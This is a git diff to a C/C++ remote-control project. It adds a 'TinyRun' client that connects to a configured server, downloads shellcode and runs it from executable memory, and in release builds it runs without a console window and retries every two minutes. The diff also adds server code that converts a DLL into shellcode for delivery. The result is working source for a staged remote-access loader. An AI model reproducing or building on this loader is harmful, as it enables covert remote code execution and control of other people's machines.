diff --git a/2019Remote.sln b/2019Remote.sln
index c10b956..31f139c 100644
--- a/2019Remote.sln
+++ b/2019Remote.sln
@@ -19,6 +19,8 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution
使用花生壳.txt = 使用花生壳.txt
EndProjectSection
EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TinyRun", "client\TinyRun.vcxproj", "{E3F3A477-05BA-431D-B002-28EF8BFA6E86}"
+EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
@@ -59,6 +61,14 @@ Global
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.Build.0 = Release|x64
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
+ {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x64.ActiveCfg = Debug|x64
+ {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x64.Build.0 = Debug|x64
+ {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x86.ActiveCfg = Debug|Win32
+ {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x86.Build.0 = Debug|Win32
+ {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.ActiveCfg = Release|x64
+ {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.Build.0 = Release|x64
+ {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.ActiveCfg = Release|Win32
+ {E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
diff --git a/client/TinyRun.vcxproj b/client/TinyRun.vcxproj
new file mode 100644
index 0000000..b3cc21c
--- /dev/null
+++ b/client/TinyRun.vcxproj
@@ -0,0 +1,153 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {e3f3a477-05ba-431d-b002-28ef8bfa6e86}
+ TinyRunner
+ 10.0
+
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+ $(Configuration)\tiny
+
+
+ false
+ $(Configuration)\tiny
+
+
+ true
+ $(Platform)\$(Configuration)\tiny
+
+
+ false
+ $(Platform)\$(Configuration)\tiny
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ true
+ false
+ mainCRTStartup
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ true
+ false
+ mainCRTStartup
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/TinyRun.vcxproj.filters b/client/TinyRun.vcxproj.filters
new file mode 100644
index 0000000..6261953
--- /dev/null
+++ b/client/TinyRun.vcxproj.filters
@@ -0,0 +1,22 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ 源文件
+
+
+
\ No newline at end of file
diff --git a/client/TinyRun.vcxproj.user b/client/TinyRun.vcxproj.user
new file mode 100644
index 0000000..88a5509
--- /dev/null
+++ b/client/TinyRun.vcxproj.user
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/client/main.c b/client/main.c
new file mode 100644
index 0000000..c3ccd3c
--- /dev/null
+++ b/client/main.c
@@ -0,0 +1,190 @@
+#define _WINSOCK_DEPRECATED_NO_WARNINGS
+#define _CRT_SECURE_NO_WARNINGS
+#include
+#include
+#include
+
+#ifdef _DEBUG
+#include
+#define Mprintf printf
+#define IsRelease 0
+#else
+#define Mprintf(format, ...)
+#define IsRelease 1
+#endif
+
+#pragma comment(lib, "ws2_32.lib")
+
+#pragma pack(push, 1)
+typedef struct PkgHeader {
+ char flag[8];
+ int totalLen;
+ int originLen;
+} PkgHeader;
+#pragma pack(pop)
+
+PkgHeader MakePkgHeader(int originLen) {
+ PkgHeader header = { 0 };
+ memcpy(header.flag, "Hello?", 6);
+ header.originLen = originLen;
+ header.totalLen = sizeof(PkgHeader) + originLen;
+ return header;
+}
+
+int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
+{
+ struct sockaddr_in sa = {0};
+ if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
+ strncpy(outIpBuffer, hostName, bufferSize - 1);
+ outIpBuffer[bufferSize - 1] = '\0';
+ return 0;
+ }
+
+ struct addrinfo hints = {0};
+ struct addrinfo* res = NULL;
+ hints.ai_family = AF_INET; // IPv4 only
+ hints.ai_socktype = SOCK_STREAM;
+ hints.ai_protocol = IPPROTO_TCP;
+ if (getaddrinfo(hostName, NULL, &hints, &res) != 0 || res == NULL) {
+ return -1;
+ }
+
+ struct sockaddr_in* ipv4 = (struct sockaddr_in*)res->ai_addr;
+ if (inet_ntop(AF_INET, &(ipv4->sin_addr), outIpBuffer, bufferSize) == NULL) {
+ freeaddrinfo(res);
+ return -2;
+ }
+
+ freeaddrinfo(res);
+ return 0;
+}
+
+const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
+ if (!sIP || !sizeOut) return NULL;
+
+ WSADATA wsaData;
+ if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
+ return NULL;
+
+ char serverIP[INET_ADDRSTRLEN] = { 0 };
+ if (GetIPAddress(sIP, serverIP, sizeof(serverIP)) == 0) {
+ Mprintf("Resolved IP: %s\n", serverIP);
+ } else {
+ Mprintf("Failed to resolve '%s'.\n", sIP);
+ WSACleanup();
+ return NULL;
+ }
+
+ const int bufSize = (8 * 1024 * 1024);
+ char* buffer = (char*)malloc(bufSize);
+ if (!buffer) {
+ WSACleanup();
+ return NULL;
+ }
+
+ BOOL isFirstConnect = TRUE;
+ int attemptCount = 0, requestCount = 0;
+ do {
+ if (!isFirstConnect)
+ Sleep(IsRelease ? 120 * 1000 : 5000);
+ isFirstConnect = FALSE;
+ Mprintf("Connecting attempt #%d -> %s:%d \n", ++attemptCount, serverIP, serverPort);
+
+ SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (clientSocket == INVALID_SOCKET)
+ continue;
+
+ DWORD timeout = 30000;
+ setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
+
+ struct sockaddr_in serverAddr = { 0 };
+ serverAddr.sin_family = AF_INET;
+ serverAddr.sin_port = htons(serverPort);
+ serverAddr.sin_addr.s_addr = inet_addr(serverIP);
+ if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
+ closesocket(clientSocket);
+ continue;
+ }
+
+ char command[4] = { 210, sizeof(void*) == 8, 0, IsRelease };
+ char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
+ PkgHeader h = MakePkgHeader(sizeof(command));
+ memcpy(req, &h, sizeof(PkgHeader));
+ memcpy(req + sizeof(PkgHeader), command, sizeof(command));
+ int bytesSent = send(clientSocket, req, sizeof(req), 0);
+ if (bytesSent != sizeof(req)) {
+ closesocket(clientSocket);
+ continue;
+ }
+
+ int totalReceived = 0;
+ if (requestCount < 3) {
+ requestCount++;
+ const int bufferSize = 16 * 1024;
+ time_t tm = time(NULL);
+ while (totalReceived < bufSize) {
+ int bytesToReceive = (bufferSize < bufSize - totalReceived) ? bufferSize : (bufSize - totalReceived);
+ int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0);
+ if (bytesReceived <= 0) {
+ Mprintf("recv failed: WSAGetLastError = %d\n", WSAGetLastError());
+ break;
+ }
+ totalReceived += bytesReceived;
+ if (totalReceived >= sizeof(PkgHeader) && totalReceived >= ((PkgHeader*)buffer)->totalLen) {
+ Mprintf("recv succeed: Cost time = %d s\n", (int)(time(NULL) - tm));
+ break;
+ }
+ }
+ } else {
+ closesocket(clientSocket);
+ break;
+ }
+
+ PkgHeader* header = (PkgHeader*)buffer;
+ if (totalReceived != header->totalLen || header->originLen <= 6 || header->totalLen > bufSize) {
+ Mprintf("Packet too short or too large: totalReceived = %d\n", totalReceived);
+ closesocket(clientSocket);
+ continue;
+ }
+ unsigned char* ptr = buffer + sizeof(PkgHeader);
+ int size = 0;
+ BYTE cmd = ptr[0], type = ptr[1];
+ memcpy(&size, ptr + 2, sizeof(int));
+ *sizeOut = size;
+ if (cmd != 211 || (type != 0 && type != 1) || size <= 64 || size > bufSize) {
+ closesocket(clientSocket);
+ break;
+ }
+ closesocket(clientSocket);
+ WSACleanup();
+ return buffer;
+ } while (1);
+
+ free(buffer);
+ WSACleanup();
+ return NULL;
+}
+
+struct CONNECT_ADDRESS
+{
+ char szFlag[32];
+ char szServerIP[100];
+ char szPort[8];
+ char szReserved[160];
+}g_Server = { "Hello, World!", "127.0.0.1", "6543" };
+
+int main() {
+ int size = 0;
+ const char* dllData = ReceiveShellcode(g_Server.szServerIP, atoi(g_Server.szPort), &size);
+ if (dllData == NULL) return -1;
+ void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+ if (NULL == execMem) return -2;
+ memcpy(execMem, dllData + 22, size);
+ free((void*)dllData);
+ DWORD oldProtect = 0;
+ if (!VirtualProtect(execMem, size, PAGE_EXECUTE_READ, &oldProtect)) return -3;
+
+ ((void(*)())execMem)();
+ Sleep(INFINITE);
+ return 0;
+}
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 2ab596a..5008ca3 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -178,6 +178,11 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial
m_bmOnline[4].LoadBitmap(IDB_BITMAP_PROXY);
m_bmOnline[5].LoadBitmap(IDB_BITMAP_HOSTNOTE);
+ for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
+ m_ServerDLL[i] = nullptr;
+ m_ServerBin[i] = nullptr;
+ }
+
InitializeCriticalSection(&m_cs);
}
@@ -185,8 +190,10 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial
CMy2015RemoteDlg::~CMy2015RemoteDlg()
{
DeleteCriticalSection(&m_cs);
- for (int i = 0; i < PAYLOAD_MAXTYPE; i++)
+ for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
SAFE_DELETE(m_ServerDLL[i]);
+ SAFE_DELETE(m_ServerBin[i]);
+ }
}
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
@@ -490,7 +497,28 @@ VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg)
m_StatusBar.SetPaneText(0,strStatusMsg); //״̬ʾ
}
-Buffer* ReadKernelDll(bool is64Bit) {
+BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
+ DWORD flags, LPSTR& outBytes, DWORD& outLength);
+
+bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
+ if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
+ LPSTR finalShellcode = NULL;
+ DWORD finalSize;
+ if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) {
+ return false;
+ }
+ compressedBuffer = new BYTE[finalSize];
+ ulTotalSize = finalSize;
+
+ memcpy(compressedBuffer, finalShellcode, finalSize);
+ free(finalShellcode);
+
+ return true;
+ }
+ return false;
+}
+
+Buffer* ReadKernelDll(bool is64Bit, bool isDLL = true) {
BYTE* szBuffer = NULL;
int dwFileSize = 0;
@@ -513,15 +541,25 @@ Buffer* ReadKernelDll(bool is64Bit) {
if (pData == NULL) {
return NULL;
}
- dwFileSize = dwSize;
+ LPBYTE srcData = (LPBYTE)pData;
+ int srcLen = dwSize;
+ if (!isDLL) { // Convert DLL -> Shell code.
+ if (!MakeShellcode(srcData, srcLen, (LPBYTE)pData, dwSize)) {
+ Mprintf("MakeShellcode failed \n");
+ return false;
+ }
+ }
+ dwFileSize = srcLen;
szBuffer = new BYTE[sizeof(int) + dwFileSize + 2];
szBuffer[0] = CMD_DLLDATA;
- szBuffer[1] = MEMORYDLL;
+ szBuffer[1] = isDLL ? MEMORYDLL : SHELLCODE;
memcpy(szBuffer + 2, &dwFileSize, sizeof(int));
- memcpy(szBuffer + 2 + sizeof(int), pData, dwFileSize);
+ memcpy(szBuffer + 2 + sizeof(int), srcData, dwFileSize);
// CMD_DLLDATA + SHELLCODE + dwFileSize + pData
auto ret = new Buffer(szBuffer, sizeof(int) + dwFileSize + 2);
delete[] szBuffer;
+ if (srcData != pData)
+ SAFE_DELETE_ARRAY(srcData);
return ret;
}
@@ -557,6 +595,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
}
m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false);
m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true);
+ m_ServerBin[PAYLOAD_DLL_X86] = ReadKernelDll(false, false);
+ m_ServerBin[PAYLOAD_DLL_X64] = ReadKernelDll(true, false);
// ô˶ԻͼꡣӦóڲǶԻʱܽԶ
// ִд˲
@@ -1454,7 +1494,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
}
char version[12] = {};
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
- SendServerDll(ContextObject, is64Bit);
+ SendServerDll(ContextObject, typ == MEMORYDLL, is64Bit);
break;
}
case COMMAND_BYE: //
@@ -1733,9 +1773,9 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
}
}
-VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit) {
+VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit) {
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
- auto buf = m_ServerDLL[id];
+ auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
if (buf->length()) {
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length());
}
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index fd05859..6554cbc 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -150,8 +150,9 @@ public:
BOOL Activate(int nPort,int nMaxConnection);
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
void SendMasterSettings(CONTEXT_OBJECT* ctx);
- VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit);
+ VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
+ Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
MasterSettings m_settings;
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index 1dd3791..beea8e4 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -282,6 +282,12 @@
+
+ NotUsing
+ NotUsing
+ NotUsing
+ NotUsing
+